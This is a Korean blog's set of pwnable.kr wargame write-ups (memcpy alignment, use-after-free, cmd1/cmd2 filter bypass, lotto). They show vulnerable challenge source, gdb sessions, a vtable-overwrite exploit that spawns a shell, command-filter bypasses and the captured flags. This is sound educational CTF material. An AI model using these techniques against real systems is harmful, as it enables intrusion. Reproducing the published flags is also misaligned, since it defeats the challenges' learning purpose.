소스 피연산자 (두 번째 피연산자)의 이중 쿼드 워드를 대상 피연산자 (첫 번째 피연산자)로 이동합니다. 이 명령어는 더블 쿼드 워드를 XMM 레지스터와 128 비트 메모리 위치간에 또는 두 개의 XMM 레지스터간에 이동하는 데 사용할 수 있습니다. 소스 또는 대상 피연산자가 메모리 피연산자 인 경우 피연산자는 16 바이트 경계에 정렬되어야하며 그렇지 않으면 일반 보호 예외 (#GP)가 생성됩니다.



16바이트 경계에 정렬되지 않으면 예외가 발생하는 명령어인 듯하다.

정렬이 뭐지...


바이트 정렬에 대한 이미지 검색결과


구글링하다가 사진을 하나 찾았다.



저런식으로 16바이트 단위로 주소를 맞춰 주어야 하는 것 같다.


피연산자인 dest의 주소가 16바이트 단위로 만들어 준다면 해결될 것이다.


위 코드로 컴파일 해서 dest의 주소를 구하자


소스코드에 dest의 주소를 출력해주는 명령어를 추가해주었다:


printf("dest: %p\n", dest);



mandu@mandu-VirtualBox:~$ gedit memcpy.c

mandu@mandu-VirtualBox:~$ gcc -o memcpy memcpy.c -m32 -lm

In file included from /usr/include/stdio.h:27:0,

                 from memcpy.c:2:

/usr/include/features.h:367:25: fatal error: sys/cdefs.h: 그런 파일이나 디렉터리가 없습니다

compilation terminated.



오류가 난다.. 찾아보니 
sudo apt-get install gcc-multilib && sudo apt-get install libc6-dev-i386

이 두개를 설치해주면 해결된다고 한다.


mandu@mandu-VirtualBox:~$ gedit memcpy.c

mandu@mandu-VirtualBox:~$ gcc -o memcpy memcpy.c -m32 -lm

mandu@mandu-VirtualBox:~$ gdb -q memcpy

Reading symbols from memcpy...(no debugging symbols found)...done.

(gdb) r

Starting program: /home/mandu/memcpy 

Hey, I have a boring assignment for CS class.. :(

The assignment is simple.

-----------------------------------------------------

- What is the best implementation of memcpy?        -

- 1. implement your own slow/fast version of memcpy -

- 2. compare them with various size of data         -

- 3. conclude your experiment and submit report     -

-----------------------------------------------------

This time, just help me out with my experiment and get flag

No fancy hacking, I promise :D

specify the memcpy amount between 8 ~ 16 : 8

specify the memcpy amount between 16 ~ 32 : 16

specify the memcpy amount between 32 ~ 64 : 32

specify the memcpy amount between 64 ~ 128 : 64

specify the memcpy amount between 128 ~ 256 : 128

specify the memcpy amount between 256 ~ 512 : 256

specify the memcpy amount between 512 ~ 1024 : 512

specify the memcpy amount between 1024 ~ 2048 : 1024

specify the memcpy amount between 2048 ~ 4096 : 2048

specify the memcpy amount between 4096 ~ 8192 : 4096

ok, lets run the experiment with your configuration

experiment 1 : memcpy with buffer size 8

ellapsed CPU cycles for slow_memcpy : 7395

dest: 0x804c410

ellapsed CPU cycles for fast_memcpy : 13332


experiment 2 : memcpy with buffer size 16

ellapsed CPU cycles for slow_memcpy : 458

dest: 0x804c420

ellapsed CPU cycles for fast_memcpy : 11844


experiment 3 : memcpy with buffer size 32

ellapsed CPU cycles for slow_memcpy : 450

dest: 0x804c438

ellapsed CPU cycles for fast_memcpy : 11569


experiment 4 : memcpy with buffer size 64

ellapsed CPU cycles for slow_memcpy : 756

dest: 0x804c460

ellapsed CPU cycles for fast_memcpy : 11336


experiment 5 : memcpy with buffer size 128

ellapsed CPU cycles for slow_memcpy : 1414

dest: 0x804c4a8


Program received signal SIGSEGV, Segmentation fault.

0x080487df in fast_memcpy ()



128에서 dest가 8이다. 주소를 16배수로 맞춰주기 위해서 이자리를 0으로 만들어 주어야 한다.
그러면 64에서 64 + 8 = 72를 대신 넣어준다면 8바이트가 더 들어가서 128에서의 dest의 주소에 8바이트를 채워준다.

(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/mandu/memcpy 
Hey, I have a boring assignment for CS class.. :(
The assignment is simple.
-----------------------------------------------------
- What is the best implementation of memcpy?        -
- 1. implement your own slow/fast version of memcpy -
- 2. compare them with various size of data         -
- 3. conclude your experiment and submit report     -
-----------------------------------------------------
This time, just help me out with my experiment and get flag
No fancy hacking, I promise :D
specify the memcpy amount between 8 ~ 16 : 8
specify the memcpy amount between 16 ~ 32 : 16
specify the memcpy amount between 32 ~ 64 : 32
specify the memcpy amount between 64 ~ 128 : 72
specify the memcpy amount between 128 ~ 256 : 136
specify the memcpy amount between 256 ~ 512 : 264
specify the memcpy amount between 512 ~ 1024 : 520
specify the memcpy amount between 1024 ~ 2048 : 1032
specify the memcpy amount between 2048 ~ 4096 : 2056
specify the memcpy amount between 4096 ~ 8192 : 4104
ok, lets run the experiment with your configuration
experiment 1 : memcpy with buffer size 8
ellapsed CPU cycles for slow_memcpy : 15456
dest: 0x804c410
ellapsed CPU cycles for fast_memcpy : 27273

experiment 2 : memcpy with buffer size 16
ellapsed CPU cycles for slow_memcpy : 988
dest: 0x804c420
ellapsed CPU cycles for fast_memcpy : 24212

experiment 3 : memcpy with buffer size 32
ellapsed CPU cycles for slow_memcpy : 984
dest: 0x804c438
ellapsed CPU cycles for fast_memcpy : 24454

experiment 4 : memcpy with buffer size 72
ellapsed CPU cycles for slow_memcpy : 1771
dest: 0x804c460
ellapsed CPU cycles for fast_memcpy : 24587

experiment 5 : memcpy with buffer size 136
ellapsed CPU cycles for slow_memcpy : 3138
dest: 0x804c4b0
ellapsed CPU cycles for fast_memcpy : 24393

experiment 6 : memcpy with buffer size 264
ellapsed CPU cycles for slow_memcpy : 5695
dest: 0x804c540
ellapsed CPU cycles for fast_memcpy : 24293

experiment 7 : memcpy with buffer size 520
ellapsed CPU cycles for slow_memcpy : 10584
dest: 0x804c650
ellapsed CPU cycles for fast_memcpy : 24148

experiment 8 : memcpy with buffer size 1032
ellapsed CPU cycles for slow_memcpy : 20812
dest: 0x804c860
ellapsed CPU cycles for fast_memcpy : 24511

experiment 9 : memcpy with buffer size 2056
ellapsed CPU cycles for slow_memcpy : 41402
dest: 0x804cc70
ellapsed CPU cycles for fast_memcpy : 25854

experiment 10 : memcpy with buffer size 4104
ellapsed CPU cycles for slow_memcpy : 96522
dest: 0x804d480
ellapsed CPU cycles for fast_memcpy : 28278

thanks for helping my experiment!
flag : ----- erased in this source code -----
[Inferior 1 (process 6102) exited normally]


성공이다.
문제서버에서 다시 풀었다.

thanks for helping my experiment!
flag : 1_w4nn4_br34K_th3_m3m0ry_4lignm3nt


FLAG : 1_w4nn4_br34K_th3_m3m0ry_4lignm3nt


반응형

'WAR GAME > Pwnable.kr' 카테고리의 다른 글

pwnable.kr [unlink] 풀이  (0) 2018.06.13
pwnable.kr [asm] 풀이  (0) 2018.06.13
pwnable.kr [uaf] 풀이  (1) 2018.06.11
pwnable.kr [cmd2] 풀이  (0) 2018.03.22
pwnable.kr [cmd1] 풀이  (0) 2018.03.22
반응형

uaf - 8 pt

Mommy, what is Use After Free bug?


ssh uaf@pwnable.kr -p2222 (pw:guest)



uaf@ubuntu:~$ ls -l

total 24

-rw-r----- 1 root uaf_pwn    22 Sep 25  2015 flag

-r-xr-sr-x 1 root uaf_pwn 15463 Sep 25  2015 uaf

-rw-r--r-- 1 root root     1431 Sep 25  2015 uaf.cpp

uaf@ubuntu:~$ cat uaf.cpp



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#include <fcntl.h>
#include <iostream> 
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;
 
class Human{
private:
    virtual void give_shell(){
        system("/bin/sh");
    }
protected:
    int age;
    string name;
public:
    virtual void introduce(){
        cout << "My name is " << name << endl;
        cout << "I am " << age << " years old" << endl;
    }
};
 
class Man: public Human{
public:
    Man(string name, int age){
        this->name = name;
        this->age = age;
        }
        virtual void introduce(){
        Human::introduce();
                cout << "I am a nice guy!" << endl;
        }
};
 
class Woman: public Human{
public:
        Woman(string name, int age){
                this->name = name;
                this->age = age;
        }
        virtual void introduce(){
                Human::introduce();
                cout << "I am a cute girl!" << endl;
        }
};
 
int main(int argc, char* argv[]){
    Human* m = new Man("Jack"25);
    Human* w = new Woman("Jill"21);
 
    size_t len;
    char* data;
    unsigned int op;
    while(1){
        cout << "1. use\n2. after\n3. free\n";
        cin >> op;
 
        switch(op){
            case 1:
                m->introduce();
                w->introduce();
                break;
            case 2:
                len = atoi(argv[1]);
                data = new char[len];
                read(open(argv[2], O_RDONLY), data, len);
                cout << "your data is allocated" << endl;
                break;
            case 3:
                delete m;
                delete w;
                break;
            default:
                break;
        }
    }
 
    return 0;    
}
 
cs



UAF 문제다.

Use After Free 취약점은 heap 영역에서 일어난다.

메모리에서 heap 영역은 데이터 영역이나 스택 영역에서 관리하는 형태와는 다른형태의 데이터를 다룬다.

바로 동적할당이다. 컴파일 할 시에는 데이터의 크기를 모르다가 프로그램이 실행되었을 때 크기가 정해지는 경우다.


UAF는 메모리를 malloc 해주었다가 free해주고 다시 malloc한 경우를 말한다.

malloc - free - malloc




일단 프로그램 코드를 살펴보자


main 함수를 보면, 먼저 m, w 객체가 초기화 된다.


그다음 

1을 입력하면 각 객체의 introduce() 함수가 호출된다.


2를 입력하면 char 객체를 생성한다.


3을 입력하면 m, w 객체가 free 된다.




이를 보면, UAF의 조건을 충족함을 알 수 있다.


초기화된 m, w 객체를 3을 입력하여 free 해주고, 다시 2를 입력하여 같은 크기로 새로운 객체를 생성해주면 free된 m, w 자리에 초기화 되면서 취약점이 발생한다. m, w객체의 introduce() 함수주소가 담긴 주소를 알아내어 쉘을 실행해주는 give_shell() 함수주소로 덮어주면 쉘을 딸 수 있을 것이다.




주소들을 구하기 위해 분기마다 브레이크 포인트를 걸었다.


   0x0000000000400fad <+233>: call   0x400dd0 <_ZNSirsERj@plt>

   0x0000000000400fb2 <+238>: mov    eax,DWORD PTR [rbp-0x18]

   0x0000000000400fb5 <+241>: cmp    eax,0x2

   0x0000000000400fb8 <+244>: je     0x401000 <main+316>

   0x0000000000400fba <+246>: cmp    eax,0x3

   0x0000000000400fbd <+249>: je     0x401076 <main+434>

   0x0000000000400fc3 <+255>: cmp    eax,0x1

   0x0000000000400fc6 <+258>: je     0x400fcd <main+265>

---Type <return> to continue, or q <return> to quit---q

Quit

(gdb) b *main+316

Breakpoint 1 at 0x401000

(gdb) b *main+434

Breakpoint 2 at 0x401076

(gdb) b *main+265

Breakpoint 3 at 0x400fcd



그리고 introduce()함수 주소를 구하기 위해 실행해서 1을 입력했다.



(gdb) r

Starting program: /home/uaf/uaf 

1. use

2. after

3. free

1


Breakpoint 3, 0x0000000000400fcd in main ()


=> 0x0000000000400fcd <+265>: mov    rax,QWORD PTR [rbp-0x38]

   0x0000000000400fd1 <+269>: mov    rax,QWORD PTR [rax]

   0x0000000000400fd4 <+272>: add    rax,0x8

   0x0000000000400fd8 <+276>: mov    rdx,QWORD PTR [rax]

   0x0000000000400fdb <+279>: mov    rax,QWORD PTR [rbp-0x38]

   0x0000000000400fdf <+283>: mov    rdi,rax

   0x0000000000400fe2 <+286>: call   rdx

   0x0000000000400fe4 <+288>: mov    rax,QWORD PTR [rbp-0x30]

   0x0000000000400fe8 <+292>: mov    rax,QWORD PTR [rax]

   0x0000000000400feb <+295>: add    rax,0x8

   0x0000000000400fef <+299>: mov    rdx,QWORD PTR [rax]

   0x0000000000400ff2 <+302>: mov    rax,QWORD PTR [rbp-0x30]

   0x0000000000400ff6 <+306>: mov    rdi,rax

   0x0000000000400ff9 <+309>: call   rdx

   0x0000000000400ffb <+311>: jmp    0x4010a9 <main+485>



call rdx를 보면, rdx에 introduce()함수 주소가 담겼음을 알 수 있다.


이전에, rax에 8을 더하기 직전에 브레이크를 걸어 rax의 값을 확인하였습니다.

set print asm-demangle on 을 해주면 글자가 깨지지 않습니다.



(gdb) b *main+272

Breakpoint 5 at 0x400fd4

(gdb) c

Continuing.


Breakpoint 5, 0x0000000000400fd4 in main ()

(gdb) x/x $rax

0x401570 <vtable for Man+16>: 0x0040117a

(gdb) x/i 0x40117a

   0x40117a <Human::give_shell()>: push   rbp

(gdb) 

   0x40117b <Human::give_shell()+1>: mov    rbp,rsp

(gdb) 

   0x40117e <Human::give_shell()+4>: sub    rsp,0x10


rax값이 give_shell()의 주소를 가리킴을 알 수 있습니다.



(gdb) b *main+276

Breakpoint 6 at 0x400fd8

(gdb) c

Continuing.


Breakpoint 6, 0x0000000000400fd8 in main ()

(gdb) x/x $rax

0x401578 <vtable for Man+24>: 0x004012d2

(gdb) x/i 0x4012d2

   0x4012d2 <Man::introduce()>: push   rbp

(gdb) 

   0x4012d3 <Man::introduce()+1>: mov    rbp,rsp

(gdb) 

   0x4012d6 <Man::introduce()+4>: sub    rsp,0x10

(gdb) 

   0x4012da <Man::introduce()+8>: mov    QWORD PTR [rbp-0x8],rdi



그 다음 rax + 8 의 값은 introduce()의 주소를 가지고 있음을 알 수 있습니다.


정리하면

0x401570 이 가리키는 것은 0x40117a로 give_shell()함수

0x401578 (0x401570 + 8) 이 가리키는 것은 0x4012d2로 introduce()함수 이다.


그렇다면 0x401570 대신 0x401568이 들어간다면 0x401568에 8이 더해져 0x401570이 되고, give_shell()함수가 실행될 것이다.



exploit :


uaf@ubuntu:~$ python -c 'print "\x68\x15\x40\x00"' > /tmp/mandu/ex

uaf@ubuntu:~$ ./uaf 4 /tmp/mandu/ex

1. use

2. after

3. free

3


1. use

2. after

3. free

2


your data is allocated

1. use

2. after

3. free

2


your data is allocated

1. use

2. after

3. free

1


$ ls

flag  uaf  uaf.cpp

$ cat flag

yay_f1ag_aft3r_pwning



FLAG : yay_f1ag_aft3r_pwning

반응형

'WAR GAME > Pwnable.kr' 카테고리의 다른 글

pwnable.kr [asm] 풀이  (0) 2018.06.13
pwnable.kr [memcpy] 풀이  (0) 2018.06.12
pwnable.kr [cmd2] 풀이  (0) 2018.03.22
pwnable.kr [cmd1] 풀이  (0) 2018.03.22
pwnable.kr [lotto] 풀이  (0) 2018.03.18
반응형

cmd2 - 9 pt

Daddy bought me a system command shell.

but he put some filters to prevent me from playing with it without his permission...

but I wanna play anytime I want!


ssh cmd2@pwnable.kr -p2222 (pw:flag of cmd1)



비밀번호는 cmd1문제의 플래그다.



cmd2@ubuntu:~$ ls -l

total 20

-r-xr-sr-x 1 root cmd2_pwn 8794 Dec 21  2015 cmd2

-rw-r--r-- 1 root root      586 Dec 21  2015 cmd2.c

-r--r----- 1 root cmd2_pwn   30 Jul 14  2015 flag

cmd2@ubuntu:~$ cat cmd2.c

#include <stdio.h>

#include <string.h>


int filter(char* cmd){

int r=0;

r += strstr(cmd, "=")!=0;

r += strstr(cmd, "PATH")!=0;

r += strstr(cmd, "export")!=0;

r += strstr(cmd, "/")!=0;

r += strstr(cmd, "`")!=0;

r += strstr(cmd, "flag")!=0;

return r;

}


extern char** environ;

void delete_env(){

char** p;

for(p=environ; *p; p++) memset(*p, 0, strlen(*p));

}


int main(int argc, char* argv[], char** envp){

delete_env();

putenv("PATH=/no_command_execution_until_you_become_a_hacker");

if(filter(argv[1])) return 0;

printf("%s\n", argv[1]);

system( argv[1] );

return 0;

}



일단 환경변수 메모리 부분을 모두 초기화 한다.

그리고 입력값에서 "=", "PATH", "export", "/",  "`", "flag" 를 필터링한다.

"/" 를 필터링하면서, /bin/cat을 사용하기 어려워졌다..ㅠㅠ


그러면, bash의 기본 함수인 read를 이용해서 플래그를 얻어야 할 것 같다.


cmd2@ubuntu:~$ ./cmd2 "read a; \$a"

read a; $a

/bin/cat flag

FuN_w1th_5h3ll_v4riabl3s_haha


FLAG : FuN_w1th_5h3ll_v4riabl3s_haha



반응형

'WAR GAME > Pwnable.kr' 카테고리의 다른 글

pwnable.kr [memcpy] 풀이  (0) 2018.06.12
pwnable.kr [uaf] 풀이  (1) 2018.06.11
pwnable.kr [cmd1] 풀이  (0) 2018.03.22
pwnable.kr [lotto] 풀이  (0) 2018.03.18
pwnable.kr [blackjack] 풀이  (0) 2018.03.18
반응형

cmd1 - 1 pt

Mommy! what is PATH environment in Linux?


ssh cmd1@pwnable.kr -p2222 (pw:guest)



cmd1@ubuntu:~$ ls -l

total 20

-r-xr-sr-x 1 root cmd1_pwn 8513 Jul 14  2015 cmd1

-rw-r--r-- 1 root root      319 Jul 14  2015 cmd1.c

-r--r----- 1 root cmd1_pwn   48 Jul 14  2015 flag

cmd1@ubuntu:~$ cat cmd1.c

#include <stdio.h>

#include <string.h>


int filter(char* cmd){

int r=0;

r += strstr(cmd, "flag")!=0;

r += strstr(cmd, "sh")!=0;

r += strstr(cmd, "tmp")!=0;

return r;

}

int main(int argc, char* argv[], char** envp){

putenv("PATH=/fuckyouverymuch");

if(filter(argv[1])) return 0;

system( argv[1] );

return 0;

}


입력한 명령어를 그대로 실행시켜준다.
그러나 flag, sh, tmp는 필터링을 하는 것을 알 수 있다.

환경변수를 이용해서 풀어야 할 것 같지만, 와일드카드는 막지 않고 있다.
와일드 카드 사용하면 플래그가 나온다.

cmd1@ubuntu:~$ ./cmd1 "/bin/cat *"
...
mommy now I get what PATH environment is for :)


FLAG  : mommy now I get what PATH environment is for :)


반응형

'WAR GAME > Pwnable.kr' 카테고리의 다른 글

pwnable.kr [uaf] 풀이  (1) 2018.06.11
pwnable.kr [cmd2] 풀이  (0) 2018.03.22
pwnable.kr [lotto] 풀이  (0) 2018.03.18
pwnable.kr [blackjack] 풀이  (0) 2018.03.18
pwnable.kr [coin1] 풀이  (2) 2018.03.12
반응형

lotto - 2 pt 

Mommy! I made a lotto program for my homework.

do you want to play?



ssh lotto@pwnable.kr -p2222 (pw:guest)


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
 
unsigned char submit[6];
 
void play(){
    
    int i;
    printf("Submit your 6 lotto bytes : ");
    fflush(stdout);
 
    int r;
    r = read(0, submit, 6);
 
    printf("Lotto Start!\n");
    //sleep(1);
 
    // generate lotto numbers
    int fd = open("/dev/urandom", O_RDONLY);
    if(fd==-1){
        printf("error. tell admin\n");
        exit(-1);
    }
    unsigned char lotto[6];
    if(read(fd, lotto, 6!= 6){
        printf("error2. tell admin\n");
        exit(-1);
    }
    for(i=0; i<6; i++){
        lotto[i] = (lotto[i] % 45+ 1;        // 1 ~ 45
    }
    close(fd);
    
    // calculate lotto score
    int match = 0, j = 0;
    for(i=0; i<6; i++){
        for(j=0; j<6; j++){
            if(lotto[i] == submit[j]){
                match++;
            }
        }
    }
 
    // win!
    if(match == 6){
        system("/bin/cat flag");
    }
    else{
        printf("bad luck...\n");
    }
 
}
 
void help(){
    printf("- nLotto Rule -\n");
    printf("nlotto is consisted with 6 random natural numbers less than 46\n");
    printf("your goal is to match lotto numbers as many as you can\n");
    printf("if you win lottery for *1st place*, you will get reward\n");
    printf("for more details, follow the link below\n");
    printf("http://www.nlotto.co.kr/counsel.do?method=playerGuide#buying_guide01\n\n");
    printf("mathematical chance to win this game is known to be 1/8145060.\n");
}
 
int main(int argc, char* argv[]){
 
    // menu
    unsigned int menu;
 
    while(1){
 
        printf("- Select Menu -\n");
        printf("1. Play Lotto\n");
        printf("2. Help\n");
        printf("3. Exit\n");
 
        scanf("%d"&menu);
 
        switch(menu){
            case 1:
                play();
                break;
            case 2:
                help();
                break;
            case 3:
                printf("bye\n");
                return 0;
            default:
                printf("invalid menu\n");
                break;
        }
    }
    return 0;
}
 
cs


우리가 봐야할 함수는 play()함수가 되겠네요.


void play(){

int i;

printf("Submit your 6 lotto bytes : ");

fflush(stdout);


int r;

r = read(0, submit, 6);


printf("Lotto Start!\n");

//sleep(1);


// generate lotto numbers

int fd = open("/dev/urandom", O_RDONLY);

if(fd==-1){

printf("error. tell admin\n");

exit(-1);

}

unsigned char lotto[6];

if(read(fd, lotto, 6) != 6){

printf("error2. tell admin\n");

exit(-1);

}

for(i=0; i<6; i++){

lotto[i] = (lotto[i] % 45) + 1; // 1 ~ 45

}

close(fd);

// calculate lotto score

int match = 0, j = 0;

for(i=0; i<6; i++){

for(j=0; j<6; j++){

if(lotto[i] == submit[j]){

match++;

}

}

}


// win!

if(match == 6){

system("/bin/cat flag");

}

else{

printf("bad luck...\n");

}


}



// calculate lotto score부분을 잘 살펴보자
for문 루프가 36번이 돈다..
lotto[0] == submit[0~5] 가 되서
만약 111111을 입력하고 lotto[]중에 1이 있을 경우 match의 값은 6이 되어 쉘을 얻을 수 있다.

lotto의 한 개만 알아내면 된다는 것이다.


그러나 입력할때 int형이 아닌 char형으로 받기 때문에 1을 입력하면 '1'로 인식되어 10진수값으로 49가 된다.
45 이하가 되는 문자는 아스키코드표를 참조하자.
키보드로 입력 가능한 문자는 몇개 되지 않는다.

저는 !를 사용하겠습니다.

- Select Menu -
1. Play Lotto
2. Help
3. Exit
1
Submit your 6 lotto bytes : !!!!!!
Lotto Start!
sorry mom... I FORGOT to check duplicate numbers... :(
- Select Menu -
1. Play Lotto
2. Help
3. Exit


몇번 시도하다 보니 플래그가 떴습니다.

FLAG : sorry mom... I FORGOT to check duplicate numbers... :(


반응형

'WAR GAME > Pwnable.kr' 카테고리의 다른 글

pwnable.kr [cmd2] 풀이  (0) 2018.03.22
pwnable.kr [cmd1] 풀이  (0) 2018.03.22
pwnable.kr [blackjack] 풀이  (0) 2018.03.18
pwnable.kr [coin1] 풀이  (2) 2018.03.12
pwnable.kr [shellshock] 풀이  (0) 2018.03.08

+ Recent posts